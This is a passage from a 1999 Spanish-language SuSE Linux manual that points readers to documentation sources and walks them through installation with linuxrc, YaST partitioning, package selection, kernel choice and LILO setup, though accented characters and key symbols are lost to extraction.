1.4. La lucha con la cantidad de pginas

1.4.4 Manuales de Unix (Manpages)


La forma tpica de conseguir informacin sobre programas o comandos en un
sistema Unix es el uso del comando man (ver el apartado 19.9, Pgina 424).
Introduciendo el comando
tux@tierra:/home/tux > man <comando>
se obtiene un resumen de la funcin y de las opciones de cada comando.
El sistema de ayuda de SuSE sirve tambin para leer las manpages (ver aparta-
do 1.4.2, Pgina 7).

1.4.5 Los ficheros FAQ-, HowTo- y README


En el directorio /usr/doc existen muchos sub-directorios en los cuales hay
ficheros con informacin sobre los paquetes. All es donde muchas veces
se encuentra la opcin que se ha estado buscando durante mucho tiempo,
as como el nombre del fichero de configuracin que no se encuentra en
ninguna parte o cmo se llama el gato del programador. Siempre vale la
pena consultar esta fuente de informacin antes de descartar y borrar algn
programa.

Una mencin especial valen los FAQ (preguntas frecuentes) de SuSE Linux
se encuentran en Apndice F, Pgina 467.

El directorio /usr/doc/faq merece una mencin especial ya que en l se


encuentran listas con preguntas frecuentes y sus correspondientes respuestas;
hace falta tener instalado el paquete manyfaqs, serie doc. El directorio
/usr/doc/howto contiene recetas para la instalacin de diversos paquetes
y consejos de cmo solventar posibles problemas. Tambin es posible leer
la mayora de los HowTos accediendo desde el men del entorno grfico o
a travs del sistema de ayuda de SuSE (ver apartado 1.4.2). Bajo Linux se
puede leer esta documentacin usando p. ej. less 1 :
tux@tierra:/home/tux > cd /usr/doc/howto/en
tux@tierra:/usr/doc/howto/en > less DOS-to-Linux-HOWTO.gz
Las versiones ms importantes de los ficheros FAQ y HowTo que estaban a
disposicin en el momento del cierre de la edicin del CD, se encuentran en el
directorio docu del primer CD, as que tambin vale la pena echar una mirada
a este directorio. Adems, estos ficheros no estn comprimidos y por tanto
pueden ser ledos antes de la instalacin, p. ej. desde DOS con el comando
type.
Una fuente de informacin exhaustiva, que responde a preguntas y problemas
con el kernel, es el directorio /usr/src/linux/Documentation que existe
en el disco cuando se ha efectuado la recomendable instalacin de las fuentes
del kernel (paquete linux o paquete lx_suse). Aparte de esto, hay muchos
consejos valiosos en los respectivos sub-directorios de estas fuentes (p. ej.
respecto a drivers para tarjetas de sonido), tal como en el directorio del kernel
mismo para los ms curiosos y atrevidos.
1 S Sr. Experto, ha ledo correctamente: nuestro less es tan list que incluso sabe leer ficheros

comprimidos ;-)

9
1. Introduccin

Es muy aconsejable consultar las fuentes de informacin aqu mencionadas


por si algn da tuviera una pregunta que no cubra este libro ya que por una
parte el tamao de ste es limitado y por otra el desarrollo del sistema Linux
es tan rpido que un documento impreso representa el estado actual para poco
tiempo.

1.4.6 Libros gratuitos


En el paquete books, serie doc (documentacin) hay un par de libros en for-
mato PostScript, que se pueden visualizar o imprimir con el paquete gsview,
serie gra (grficos) o el paquete gv, serie gra (grficos). Antes de imprimir
uno de estos libros se debera considerar si no es ms econmico comprar un
libro de este estilo, tal vez en espaol, ya que los libros mencionados son en
ingls.

1.5 Mritos
Son muchos los que han contribuido al tremendo xito de Linux, pero espe-
cialmente queremos dar las gracias a Florian La Roche, cuya experiencia en
la construccin de un sistema Linux ha sido extraordinariamente valiosa; fue
su incansable trabajo el que finalmente permiti la generacin de un ncleo
de sistema super-actual y potente. Como tena muchos aos de experiencia
con su propia distribucin jurix, que era la mejor segn los avisos confiden-
ciales en Internet, pudo contribuir de manera importante en el desarrollo de
SuSE Linux.
Tambin damos las gracias a Dirk Hohndel y Harald Knig del XFree86
TM -Team, que nos dieron consejos valiosos respecto al Sistema X Window

y a Eberhard Mnkeberg, quien siempre echaba una mano en caso de


problemas con drivers de CD-ROM.
Muchas gracias a Hans Lermen; de l es el conocido loadlin (loadlin.exe),
que permite arrancar Linux desde DOS y, el programa DOS Setup
(setup.exe) de este sistema Linux.
Los siguientes altruistas hicieron posible la traduccin de YaST y de linuxrc;
todos ellos se preocuparon durante su tiempo libre de abrir el mundo de
Linux a una mayor cantidad de personas en todo el mundo: Gunay Arslan,
Zbigniew Baniewski, Sndor Brny, Olaf Borkner-Delcarlo, Michael Bravo,
Michael Burghart, Franca Delcarlo, Jochen Depner, Benedek Hermann, Ibn
Jos Garca Castillo, Dora Georgarou (with Romy the barking dog), Pablo
Iranzo Gmez, Krzysztof Hotiuk, Milan Hromada, Ralf A. Lanz, Franoise
Lermen, Zoltn Levrdy, Nuno Lima, Tomas Morkus, Carmen Marn Prez,
Matts Nordman, Aleksey Novodvorsky, Razvan Cristian Oprea, Gerco Oud-
hof, George Papamichelakis, Alexey Pavlov, kos Rtkai, Voula Sanida,
Aleksey Smirnov, Steve Varadi, P. Vlachodimitropoulos, Joao Teles, Nuno
Vieira, January Weiner, y I Made Wiryana.
A parte de ellos tambin reciben nuestra gratitud los Beta-tester, que no
tienen miedo a poner continuamente en peligro la estabilidad de su sistema:
Andreas Koegel, Christian Httermann, Dirk Ulbrich, Eberhard Mnke-
berg, Frank Hofmann, Georg C. F. Greve, Harald Knig, Harald Wieland,

10
1.5. Mritos

Karlo Gross, Karsten Keil, Jens Frank, Lutz Pressler, Martin Hehl, Mar-
tin Konold, Martin Schulze, Michael Kleinhenz, Norbert Eicker, Oliver Zen-
del, Ralf Geschke, Stefan Bliesener, Thomas Wrner, Ulrich Goebel, Ul-
rich Windl, Volker Lendecke y Wolfgang Barth .
La imagen en la cubierta del libro viene de Stephan Endra, tambin
muchas gracias a l!

*
* *
*

Los desarrolladores de Linux empujan en colaboracin a escala mundial y con


mucho esfuerzo voluntario, el avance de Linux. Les agradecemos su empeo
sin ellos no existira este CD. Con nuestro trabajo queremos proporcionar
el resultado de su esfuerzo a un crculo amplio de usuarios.
Nuestro agradecimiento se dirige tambin a Patrick Volkerding por el so-
porte a nuestro trabajo y naturalmente a Linus Torvalds!
Gracias sobre todo a Frank Zappa y Pawar!
Nrnberg, 9 de octubre de 1999
Have a lot of fun!
Su equipo SuSE

11
1. Introduccin

12
Parte II

Instalacin SuSE Linux

13
Captulo 2
La primera instalacin de SuSE
Linux

2.1 Adelante!
No es fcil encontrar el punto medio para unas instrucciones de instalacin:
Si se profundiza demasiado o se describen detalles y posibles problemas,
todo parece complicado, asusta a los principiantes y aburre a los amigos
experimentados de Linux. Renunciando a los detalles, se pasa por alto a
los usuarios que quieren saber exactamente lo que se debe hacer, cundo
y por qu o a los que necesitan profundizar mucho por lo especial de su
configuracin de sistema.
Por lo tanto, en este libro se presentan dos conjuntos diferentes de instruc-
ciones para la instalacin:

 Una gua corta adecuada para la mayora de los usuarios (apartado 2.2).
 Unas instrucciones de instalacin en las que tambin se contemplan ra-
zones profundas y casos problemticos; a su vez estas instrucciones son
mucho ms amplias (apartado 2.3).

En caso de duda, se recomienda comenzar con la gua corta y si sta no da un


buen resultado, se siguen las instrucciones amplias; a continuacin de estas
ltimas hay apartados con informacin adicional, con respuestas a preguntas
especiales y soluciones para casos problemticos tambin especiales.

Consejo adicional: Si se desea actualizar el antiguo SuSE Linux, sera


conveniente leer primero el Captulo 15, Pgina 353. Tambin es bas-
tante recomendable el fichero README o, para leerlo desde DOS, el fichero
README.DOS; ambos se encuentran en el CD 1 y contienen informacin
sobre los cambios efectuados despus de la impresin de este manual.

2.2 Linux en 30 minutos La gua corta


El principal requisito para la instalacin de Linux es tener en el disco duro
el espacio para una particin adicional o bien, algunas particiones en desuso.
Otra posibilidad es que durante la instalacin se liberen para Linux, parti-
ciones de otro sistema operativo.

15
2. La primera instalacin de SuSE Linux

Si ste no fuera el caso, sera necesaria entonces una preparacin previa del
(de los) disco(s) duro(s). Para ello se puede usar el programa fips que se en-
cuentra en el primer CD, en el directorio dosutils. Hay consejos adicionales
referentes al programa fips y al proceso de particionar en el apartado 2.7.1,
Pgina 45, en el apartado 2.9, Pgina 59 y en el apartado 2.10, Pgina 60.
Despus de esta preparacin, se deben seguir los pasos que se detallan a
continuacin.
 y siempre se puede
Adems, es posible consultar los textos de ayuda con F1 

cambiar de un botn al otro con Tab 

 Introducir el disquete de arranque de SuSE Linux y arrancar la computa-
dora. Con una BIOS adecuada tambin es posible arrancar directamente
desde el primer CD. Despus de 3 segundos comienza la carga de Linux.
 El programa linuxrc arranca. Elegir el idioma, tipo de monitor y distribu-
cin de teclado.
 Introducir el CD 1, en caso de instalar desde el CD.
 Cargar en caso de necesidad los mdulos del kernel para la contro-
ladora SCSI y para el acceso al sistema de instalacin (unidad CD-ROM,
tarjeta de red o PCMCIA); es posible que linuxrc pida insertar el dis-
quete de modules. El proceso puede funcionar automticamente, pero
si se conoce el hardware de la computadora es preferible hacerlo manual-
mente. Para algunos mdulos se pueden aadir parmetros que se detallan
en el apartado 14.3.2, Pgina 319.

Si se usa una unidad CD-ROM ATAPI no es preciso cargar ningn driver


especial; las unidades ATAPI se gestionan directamente con el driver es-
tndar de los discos duros (E)IDE. El kernel estndar incorpora tambin
soporte para las controladoras SCSI que funcionan con el driver aic7xxx.

Con el botn `Atrs' se regresa al men superior.


 Elegir `Instalacin / Arrancar sistema' y despus `Comenzar
Instalacin', para arrancar el programa de instalacin YaST . La
fuente de instalacin es por lo general el `CD-ROM' (eventualmente tam-
bin la `Red').
 En la primera pantalla de entrada a YaST, elegir en el men `Instalacin
nueva de Linux'.
 Solicitar creacin de particiones Linux.
Atencin: Si se elige `Todo el disco duro', se borrarn todos los
datos contenidos en ste, o sea, tambin los dems sistemas operativos
que estn instalados (ver apartado 2.11.1, Pgina 66).
 ! En
Si se crean las particiones manualmente, no se debe olvidar la particin
de swap cuyo tipo tiene que ser definido explcitamente mediante F3 
el apartado 2.9, Pgina 59 y apartado 2.10, Pgina 60, hay informacin
detallada sobre la filosofa de particionar.
 En la prxima pantalla que aparece en el monitor, asignar a todas las

particiones sus correspondientes puntos de montaje (Mountpoints). De-
terminar con F6 si se deben o no formatear las particiones de Linux y
cmo hacerlo; por lo general el `Formateo normal' es el adecuado.

16
2.2. Linux en 30 minutos La gua corta

 Si se elige `Continuar', YaST se encarga de formatear las particiones


Linux.
 Elegir `Cargar configuracin' si se desea preseleccionar el software
para instalar (Estacin de trabajo, Servidor, etc.).
 Ahora existe la posibilidad de elegir o descartar paquetes individuales de
software, con la opcin `Modificar /Generar configuracin' .
Si se quiere instalar el entorno grfico X-Window, entonces es recomend-
able elegir ahora el X-Server para la tarjeta grfica (se elige desde la serie
xsrv; ver Captulo 9). Si existen dudas al respecto, tambin se puede
 al men de instalacin.
efectuar la eleccin posteriormente.
Regresar con F10 
 Iniciar la instalacin real de los paquetes elegidos mediante `Comenzar
instalacin'. Los paquetes elegidos se instalarn a continuacin, salvo
que la computadora tenga poca memoria RAM (en tal caso solo se insta-
laran paquetes del CD 1). El CD 5 incluye las fuentes de los programas;
estas fuentes normalmente no se necesitan para la primera instalacin1.
 Terminar YaST con `Terminar instalacin' o con `Men princi-
pal' y despus elegir el kernel con el cual se desea arrancar el sistema
posteriormente.
 Generar un disquete de arranque con el cual se pueda arrancar en futuras
sesiones.
 Ahora es posible instalar el gestor de arranque LILO.
 Despus de dar un nombre a la computadora y elegir el tipo de red, sta
contina en el proceso de arranque y se puede efectuar entonces el primer
login al SuSE Linux recin instalado.
 YaST arranca otra vez y se instalan los paquetes que no se encuentran en
el primer CD. Configurar despus los ltimos detalles.
 Ahora se puede entrar como `root' al sistema (ver apartado 19.1, Pgi-
na 411 ), arrancar YaST (yast) y generar usuarios con `Administra-
cin de sistema'; la superficie grfica se configura con `Configurar
XFree86' (ver apartado 9.1, Pgina 220); etc.

En el segundo plano se ejecutarn scripts de configuracin automticos


(generacin de ndice de las manpages (pginas de manual), ajuste de
Perl, etc.); en computadoras menos potentes este procedimiento puede
durar segn la complejidad de la instalacin hasta ms de una hora.
Si se apaga la mquina antes de cumplir el proceso, YaST arrancar la
prxima vez que entre al sistema por rutina!
Los scripts estarn terminados cuando aparezca en la Consola 9
Have a lot of fun!
  
(se cambia de consola con Alt 
+ F9 
)

Para los principiantes con prisa hemos recopilado en el Apndice F, Pgi-


na 467, una coleccin de preguntas frecuentes con respuestas breves.

1 SuSE Linux en forma de DVD se compone de un solo CD : : :

17
2. La primera instalacin de SuSE Linux

2.3 Instrucciones de instalacin explcitas


Muchos caminos llevan a la instalacin de Linux, pero algunos de ellos son
ms complicados que otros. En SuSE hemos reflexionado profundamente
sobre cmo guiar de la mejor manera a los amigos de Linux menos experi-
mentados, en el proceso de instalacin.
Para cumplir dicho propsito, hemos separado las instrucciones de la primera
instalacin, del resto del manual, con el fin de profundizar ms en grandes ra-
zones y en coherencia. Esto adems aumenta la claridad, ya que hemos exclu-
ido completamente el mantenimiento de sistema y otros temas ms avanzados
de este captulo.
Si Usted no es principiante en el tema de Linux tal vez le parecern largas
o innecesarias algunas explicaciones, pero recuerde simplemente aquellos
tiempos cuando tena su primera computadora y exprima con gusto cualquier
fuente de informacin : : :
Por otra parte, no se debe entender esta gua como un manual de uso para el
programa YaST (ver Captulo 3) de SuSE o para otros programas y tampoco
sta describe completamente, ni de cerca a Linux. Todos estos temas se tratan
solamente para los fines de instalacin y para propiciar un buen entendimien-
to. Como ya se ha mencionado, se puede encontrar mucha ms informacin
en los captulos siguientes.

2.3.1 La situacin principal


Con el paso de los aos se ha visto que, las condiciones para llevar a cabo con
xito una instalacin de SuSE Linux, son cada vez mejores. Linux soporta
mejor el hardware, y el software, se ha hecho ms amigable para el usuario.
Adems, est a disposicin, en el caso de SuSE Linux, la herramienta de
instalacin YaST que le gua fielmente desde la preparacin del disco duro,
pasando por la instalacin del software hasta la configuracin de un login
grfico.
Como caso normal se supone que:
Se puede arrancar la computadora ya sea desde el disquete de arranque
incluido o bien, desde el CD 1 directamente.
En el disco duro hay espacio libre sin particionar y suficiente espacio para
la instalacin de Linux o hay un disco suficientemente grande para el uso
exclusivo con Linux.
El CD-ROM se ve soportado por Linux. Si todava no lo sabe, no se
asuste! Es posible averiguarlo.
Si uno de estos requisitos no se cumple, existen vas alternativas para la
instalacin que se detallan a continuacin de esta seccin (apartado 2.5). El
apartado 2.7.1 informa sobre la manera de hacer espacio en el disco duro bajo
DOS, usando fips.

2.3.2 A continuacin: La pantalla de bienvenida


Por favor abrchese el cinturn e inserte el CD 1 y/o el disquete de arranque
en sus correspondientes dispositivos de lectura y encienda la computadora. Si

18
2.3. Instrucciones de instalacin explcitas

sta no quiere arrancar, tal vez sea necesario cambiar la secuencia de arranque
en la BIOS de la computadora a A,C o CDROM,C,A.

Figura 2.1: La pantalla de inicio de SuSE Linux

Despus de un breve instante aparece la pantalla de bienvenida (Figura 2.1,


Pgina 19) y transcurridos unos 3 segundos el proceso de inicializacin
 .
comienza automticamente. Si ha llegado a pulsar alguna tecla, la pantalla
se quedar esttica hasta que pulse  - 
 
Se pulsa sencillamente  - o se espera un momento : : : A continuacin
aparecern en la parte inferior de la pantalla los mensajes "Loading
initdisk.gz..." y "Loading linux..."; despus de un rato el
Kernel arranca y linuxrc se inicia (funciona a base de mens) esperando sus
rdenes.

Si se presentan problemas en el arranque del sistema, consulte el aparta-


do 2.8.5, Pgina 53 o el apartado 14.3.2, Pgina 319

2.3.3 La base: linuxrc

De qu se trata?
Con el programa linuxrc se cargan todos los drivers como mdulos del kernel
en el caso que fuera necesario. Despus linuxrc inicia el programa de insta-
lacin YaST y la verdadera instalacin de los programas de sistema y de las
aplicaciones comienza.

El manejo de linuxrc es muy sencillo. Con " 
y # 
 y ! un comando (p. ej. `Ok'
del men y con  
se selecciona una opcin
 
 - los comandos se ejecutan. o `Cancelar'). Pulsando
 
El apartado 16.2, Pgina 368 contiene una descripcin ms detallada de
linuxrc.
El programa linuxrc comienza con la seleccin del idioma.

19
2. La primera instalacin de SuSE Linux

Figura 2.2: Seleccin del idioma

 Seleccionar un idioma.
 Seleccionar entre `Monitor Color' y `Monitor Monocromo'
 Seleccionar la distribucin del teclado. En este caso sera `Espaol'.

Figura 2.3: Men principal de linuxrc

Ahora nos encontramos en el men principal de linuxrc (Figura 2.3,


Pgina 20) en el cual se encuentran las siguientes opciones:

`Configuraciones Aqu se puede modificar otra vez idioma,


monitor o teclado.
`Informacin de sistema Para los interesados aqu hay una
multitud de informacin sobre el hardware.

20
2.3. Instrucciones de instalacin explcitas

`Mdulos del kernel (Drivers para el hardware) Es posible


que se deba elegir este punto para cargar mdulos adaptados al
hardware.
Caso normal: Por lo general no se necesita esta opcin, porque si
el (los) disco(s) duro(s) y el lector de CD (ATAPI) estn conec-
tados a una controladora (E)IDE, no es necesario cargar mdulos
especiales. Tampoco hace falta usar esta opcin si la controladora
SCSI es compatible a una Adaptec 2940 (p. ej. un controladora con
el chip AIC7890).
Esto se explica por el hecho de que el soporte para (E)IDE y SCSI
(solo para Adaptec 2940!) est integrado en el kernel.
`Instalacin / Inicio de sistema Pulsando aqu contina la in-
stalacin : : :
`Cancelacin / Reboot Para el caso en que haya decidido aban-
donar : : :
Elegir la carga de mdulos del kernel con `Mdulos de kernel
(Drivers)', en caso de necesitar soporte de tarjetas SCSI (no com-
patible a Adaptec 2940) o PCMCIA o, en caso de no tener un lector de
CDs tipo ATAPI; la carga de mdulos se explica en el apartado 16.2,
Pgina 368. Seleccionar en el siguiente sub-men la razn por la cual
se cargan mdulos (o mejor dicho: para qu se deben cargar). En el
caso estndar estos son:
Un mdulo SCSI Para un disco duro tipo SCSI o un lector CD-
ROM de este tipo. Si la carga del mdulo fracasara, pruebe con
un disquete de arranque hecho especialmente para hardware SCSI
(ver el apartado 2.7.2, Pgina 48).
Un mdulo CD-ROM si el lector CD-ROM no est conectado
ni a la controladora (E)IDE ni a la controladora SCSI.
Un mdulo de red en el caso que se realice la instalacin a
travs de NFS o FTP lo cual no se trata en este apartado (ver
el apartado 2.5.2, Pgina 39).

Si no se encuentra soporte para el medio de instalacin usado (Tarjeta


PCMCIA, Lector CD-ROM en controladora propia o en puerto paralelo)
dentro de los mdulos estndar, se puede recurrir a los drivers adicionales
del disquete modules; linuxrc lo pide automticamente en caso de necesi-
dad.

 Puesto que la opcin `Iniciar la instalacin / Sistema' ya est


 
seleccionada, solo hace falta pulsar  - para comenzar con la verdadera
instalacin.

Ahora aparecen las siguientes opciones


`Comenzar la instalacin Esto se llevar a cabo en unos in-
stantes.

21
2. La primera instalacin de SuSE Linux

Figura 2.4: Men de instalacin de linuxrc

`Iniciar el sistema instalado Esta opcin es til cuando se


presentan problemas con el arranque normal del sistema instalado.
`Iniciar sistema de rescate Cuando ha ocurrido un error grave,
esta opcin brinda muchas posibilidades de arreglar el sistema in-
stalado.
`Iniciar Live CD Se puede probar el sistema sin necesidad de
copiarlo directamente en el disco duro; en cuanto al Live-CD ver
el apartado 3.7.4, Pgina 97.
  
Para entrar al sub-men de instalacin se pulsa  - cuando la opcin
`Comenzar la instalacin' est seleccionada. Solo hace falta selec-
cionar el medio fuente o dejar la barra de desplazamiento sobre la prese-
leccin `CD-ROM'.

Ahora se pueden seleccionar diferentes tipos de instalacin:


`CD-ROM Para la instalacin desde CD-ROM, opcin prede-
terminada
`Red (NFS) Para instalar desde un servidor NFS, normalmente
un sistema Unix.
`Red (FTP) Para instalar desde un servidor FTP, p. ej. a travs
de Internet.
`Disco duro Si se ha copiado el CD en el disco duro por no
poder acceder al CD-ROM en este instante.
  
Pulsar ahora  - , para comenzar con la instalacin. El medio fuente de
los datos es el CD-ROM, salvo que se haya seleccionado otro.
Ahora se carga el entorno de instalacin en un RAM-Disk y se pone en
marcha el programa de instalacin YaST.

22
2.3. Instrucciones de instalacin explcitas

Figura 2.5: Seleccin del origen de los datos en linuxrc

Posibles problemas
En este estado de avance se pueden presentar los siguientes problemas:

Linux no reconoce el adaptador SCSI instalado: Usar un kernel que in-


corpore el correspondiente driver SCSI y generar un disquete de arranque
como se explica en el apartado 2.7.2, Pgina 48.
El lector CD-ROM ATAPI usado se traba leyendo datos: ver aparta-
do 2.8.5, Pgina 53.

2.3.4 Arrancar YaST


YaST ofrece una pantalla de entrada con cuatro opciones (ver Figura 2.6,
Pgina 23).

Figura 2.6: Pantalla principal de YaST

23
2. La primera instalacin de SuSE Linux

Si se desea llegar a conocer YaST en ms detalle o si se realizan tareas es-


peciales de mantenimiento de sistema, se recomienda consultar el captulo
sobre YaST (Captulo 3, Pgina 73 en adelante.)!

`Instalacin nueva de Linux Si se trata de instalar un SuSE


Linux nuevo. Justamente esto es lo que nos ocupar a continuacin
;-)
`Actualizar el sistema Linux instalado La actualizacin de un
SuSE Linux existente es tema del apartado 15.1.
`Instalacin en modo experto En el transcurso de este modo
de instalacin se tienen muchas posibilidades para intervenir. Solo
se debe elegir este modo si se cuenta con suficiente experiencia en
Linux y, si se conoce bien el orden de los pasos de instalacin. No
se explicar el modo experto!
`Cancelacin - ninguna instalacin Si se ha decidido aban-
donar en el ltimo momento : : :

 Elegir ahora `Instalacin nueva de Linux'.

Antes de comenzar a particionar por cuenta propia, se recomienda consul-


tar el apartado 2.11.1, Pgina 66 y el apartado 2.11.2, Pgina 68.

Si ya existiera una particin de swap no activada tal vez procedente de una


instalacin anterior YaST se dar cuenta de ello y preguntar si se debe usar
esa particin, para que pase a formar parte del sistema.
Para ajustar las particiones, proceda de la siguiente manera:

 `Particionar Para una primera instalacin de SuSE Linux o para su


cambio completo hay que elegir generalmente la opcin `Particionar'.

 YaST ahora notifica haber encontrado un disco duro. Si existe en ste una
zona libre, YaST lo notar y propondr usar esta zona del disco para
Linux (`Utilizar zona libre?').
 `SI Si se afirma, YaST procede a particionar automticamente y en-
tonces se puede continuar con el apartado 2.3.6, Pgina 26.
 `NO Si se contesta negativamente (`No'), se puede empezar a parti-
cionar de manera interactiva (a este respecto leer el apartado 2.11.1, Pgi-
na 66 y apartado 2.11.2, Pgina 68.

Si YaST no encuentra espacio libre, aparecer la instruccin `Usar todo el


disco
 duro'
,  o; en
!esta
se puede  
ventana se ofrecen dos posibilidades (para recordar:
con Tab     posicionar el cursor, mientras que con  - se
ejecuta la seleccin):

`Particionar - Usted mismo genera las particiones; es obligatorio


elegir esta opcin si se quiere seguir usando otro sistema operativo
ya instalado, aparte de Linux.

24
2.3. Instrucciones de instalacin explcitas

Figura 2.7: YaST Particionar disco

Si se elige `Todo el disco', se perdern todos los datos que estn en


este momento en el disco!

`Todo el disco - YaST comienza despus de una confirmacin


de seguridad en rojo a particionar por s mismo el disco duro.
Esta opcin se usa solo en el caso de querer tener nicamente SuSE
Linux en la computadora y de no querer ocuparse del tema de
particionar.
Se borrarn los dems sistemas operativos eventualmente pre-
sentes!
Para hacer las particiones, YaST sigue la siguiente estrategia:
 genera una particin /boot (mnimo 2 MB o 1 cilindro),
 una particin de swap (el doble de la cantidad de RAM pero no
ms de 128 MB) y
 el resto como una gran particin, que se monta bajo `/' como
particin root (directorio raz).

2.3.5 Comienza la instalacin del software


El disco duro est preparado ahora de tal manera que se debe decidir cul
software instalar.
Ahora YaST pide paciencia: Se deben leer los datos de las series y paque-
tes desde el medio de instalacin (generalmente el CD). Despus aparece el
men de instalacin de YaST (ver (Figura 2.8, Pgina 26). Hay explica-
ciones detalladas sobre este men y la funcin de todas las opciones en el
apartado 3.5, Pgina 84.

 Para tomar una preseleccin de software (estacin de trabajo, sistema


servidor, etc.), seleccione `Cargar configuracin'; ver el aparta-
do 2.3.6. Despus se encontrar otra vez en el men de instalacin.

25
2. La primera instalacin de SuSE Linux

Figura 2.8: YaST Seleccin de paquetes

 Ahora existe la posibilidad de seleccionar `Cambiar/Generar confi-


guracin'. As se llega al submen de la eleccin de series, que normal-
mente no se necesita, ya que la seleccin de paquetes ofrece un sistema
completo. Tambin se puede modificar o ampliar en cualquier momento la
seleccin hay explicaciones detalladas en el apartado 3.5.3, Pgina 85).

2.3.6 Eleccin del software bsico

Solo se puede entrar en esta plantilla de YaST, despus de haber seleccionado


en el apartado 2.3.5 la opcin `Cargar configuracin'.
Hemos preparado algunas configuraciones. Una equis (`X') dentro del re-
cuadro de la configuracin significa que sta ha sido seleccionada para reem-
plazar o complementar los paquetes existentes.
Un asterisco (`*') por detrs indica que se proceder a instalar esta con-
figuracin, por lo que es posible aadir otras configuraciones como sub-
conjuntos, p. ej. de `SuSE Almost everything'.

`Cargar' Con esta opcin se puede aadir la configuracin seleccionada a


los paquetes ya instalados.
`Reemplazar' Para reemplazar una configuracin instalada por una nue-
va. YaST pide una confirmacin antes de suprimir los paquetes que no
pertenecen a la nueva configuracin.
`Abortar' Cancelar la seleccin.

2.3.7 Instalacin de software

Despus de todos los preparativos llega el momento de ocupar el disco duro


con el software ms adecuado.

26
2.3. Instrucciones de instalacin explcitas

Figura 2.9: YaST Seleccin de configuraciones

Si la computadora tiene poca memoria RAM (8- 16 MB), al comienzo


solo se podr instalar desde el primer CDROM. En este caso se pedirn
los dems CDs posteriormente (apartado 2.3.9).

 Iniciar la instalacin con `Comenzar instalacin'. YaST indica en la


pantalla cul paquete se est instalando en el momento y cuntos paquetes
vendrn a continuacin.
 Cuando todos los paquetes estn instalados, vuelva al men principal
eligiendo `Men principal'.
 Seleccione `Terminar instalacin y YaST'

Si se presentan problemas durante la instalacin del software, lo ms prob-


able es que estos se deban al hardware.
En el caso de los sistemas SCSI, compruebe la longitud del cable y el
terminador. Desconecte los dispositivos externos del bus, sobre todos los
escneres y pruebe tambin los parmetros del kernel (apartado 14.3.1).
En el caso de trabajar con dispositivos ATAPI, consulte el apartado 2.8.5,
Pgina 53.

Ahora saque los disquetes y CD-ROMs de los dispositivos, ya que la com-


putadora se iniciar por primera vez con el sistema instalado. Despus YaST
le guiar por la configuracin bsica del sistema : : :

2.3.8 Seleccionar kernel

Se ha transferido el software bsico al disco duro; se instalar un kernel


especfico para el sistema y se configurarn los primeros componentes.

27
2. La primera instalacin de SuSE Linux

Figura 2.10: YaST Seleccione el kernel

 Elegir de una lista el kernel necesario (Figura 2.10, Pgina 28); si ex-
iste alguna duda sobre cul elegir, convendra elegir el kernel estndar
`Standard (E)IDE-Kernel', salvo que se tenga discos duros SCSI ;-)
YaST procede a copiar este kernel en /boot/vmlinuz y guarda el fichero
de configuracin del kernel como /usr/src/linux/.config.
 Confirmar que YaST debe generar un disquete de arranque. A tal efecto,
se introduce un disquete vaco en la disquetera. NO se debe usar en este
momento el disquete de arranque suministrado!

Figura 2.11: YaST Configuracin de LILO

 Si est seguro de que los sistemas operativos (tal vez ya instalados) se


pueden inicializar con LILO (ver Figura 2.11, Pgina 28), afirme la pre-

28
2.3. Instrucciones de instalacin explcitas

gunta con `S'. DOS y Windows 95/98 generalmente no presentan prob-


lemas, pero con Windows NT las cosas cambia (ver apartado 4.7.2, Pgi-
na 122).

Solo indicamos una configuracin estndar; en caso de duda conviene


informarse en el Captulo 4, Pgina 105.

 No se debe indicar nada en la `Lnea para parmetros de hardware'


salvo que se hayan usado parmetros adicionales para el primer arranque.
Solo en tal caso se introducen estos parmetros, pero sin el nombre del
kernel linux por delante!.
 Instalar LILO en el Master-boot-record si es el nico sistema operativo
de la computadora; si no, se debe instalar en el
(Sector de) Arranque de la particin raz

El sector de arranque de la particin raz no es la particin que se monta


bajo /boot.

 Dejar el `Retraso arranque' en 10 segundos.


 No usar la opcin `opcin linear '.
 
Pulsar ahora F4 
para generar una entrada nueva.

Figura 2.12: YaST Crear nueva configuracin de arranque de LILO

 Como `Nombre de la configuracin' introducir la palabra linux.


 En cuanto a `Qu sistema operativo', se ha de mantener el preajuste
Arrancar Linux.

29
2. La primera instalacin de SuSE Linux

Como se puede ver, es posible iniciar con LILO otros sistemas operativos
en la computadora. En caso de necesidad se genera una entrada por sis-
tema operativo, lo que permite cargar cualquiera de los sistemas apuntados
cuando la computadora arranca. Es posible generar estas entradas en
cualquier momento despus de la primera instalacin.

 Se le indica la `Particin raz a arrancar': Normalmente no se ha


de modificar nada.
 Dejar vaco `Kernel opcional'.
 Al igual que antes, en `Kernel a iniciar por LILO' tampoco hace
falta modificar nada.
 Con `Continuar' se instala LILO y con `Abortar' se puede cancelar su
instalacin. Posteriormente se puede instalar LILO de nuevo o ampliarlo
con otros sistemas operativos (Captulo 4, Pgina 105). Seleccionando
`Abortar' se necesita un disquete de arranque para arrancar.
2.3.9 Configuracin bsica con YaST
Despus de la seleccin del kernel le llega el turno a la configuracin bsica.

Figura 2.13: YaST Seleccin del huso horario

 Ahora se puede elegir la zona de tiempo. Aparecer una lista muy larga
en la cual se puede elegir `CET' (ingl. Central European Time) si se
encuentra en latitudes centroeuropeas, p. ej. en Espaa.
 Nombre de la computadora y del dominio. Si no hay restricciones por
parte del Administrador de sistema o por parte del ISP se puede de-
splegar toda la creatividad buscando un bonito nombre. Para entrar a In-
ternet o usar una red local, debe cerciorarse de que el nombre sea correcto;
p. ej. tierra.cosmos.univ. tierra es el nombre de la computadora
y cosmos.univ el nombre del dominio (ingl. domainname).
 Ahora aparecen algunas instrucciones para la configuracin de la red:

30
2.3. Instrucciones de instalacin explcitas

Figura 2.14: YaST Nombre de computadora y de dominio

Red tipo loopback o red real. Si la computadora no posee tarjeta de


red se puede indicar loopback y en este caso no hara falta seguir con
la configuracin.
Si se elige red real, aparecern adicionalmente preguntas como: Tipo
de red, direccin IP, netmask, gateway, inetd, portmap, servidor NFS,
From-lnea para los News-Postings, cliente de red con acceso a un
servidor de nombres (IP del servidor de nombre y YP-Domain), elec-
cin del mdulo del kernel para la tarjeta de red, sendmail.cf para
el sistema de correo.

 Despus de un par de mensajes del sistema y el saludo de "Bienvenida" Contrasea


aparece entonces la pregunta importante por la contrasea (ingl. Pass- de `root'
word) de `root' (Administrador de sistema; se debe elegir esta palabra
con cuidado y recordarla perfectamente. Es mejor evitar los espacios o
caracteres especiales, si no se sabe exactamente lo que estos representan.
 YaST anima a generar un login de usuario. Es conveniente seguir este Login
paso ya que no se recomienda entrar al sistema como `root' para realizar
tareas del da a da, pero s bajo el login de usuario. Invntese un bonito
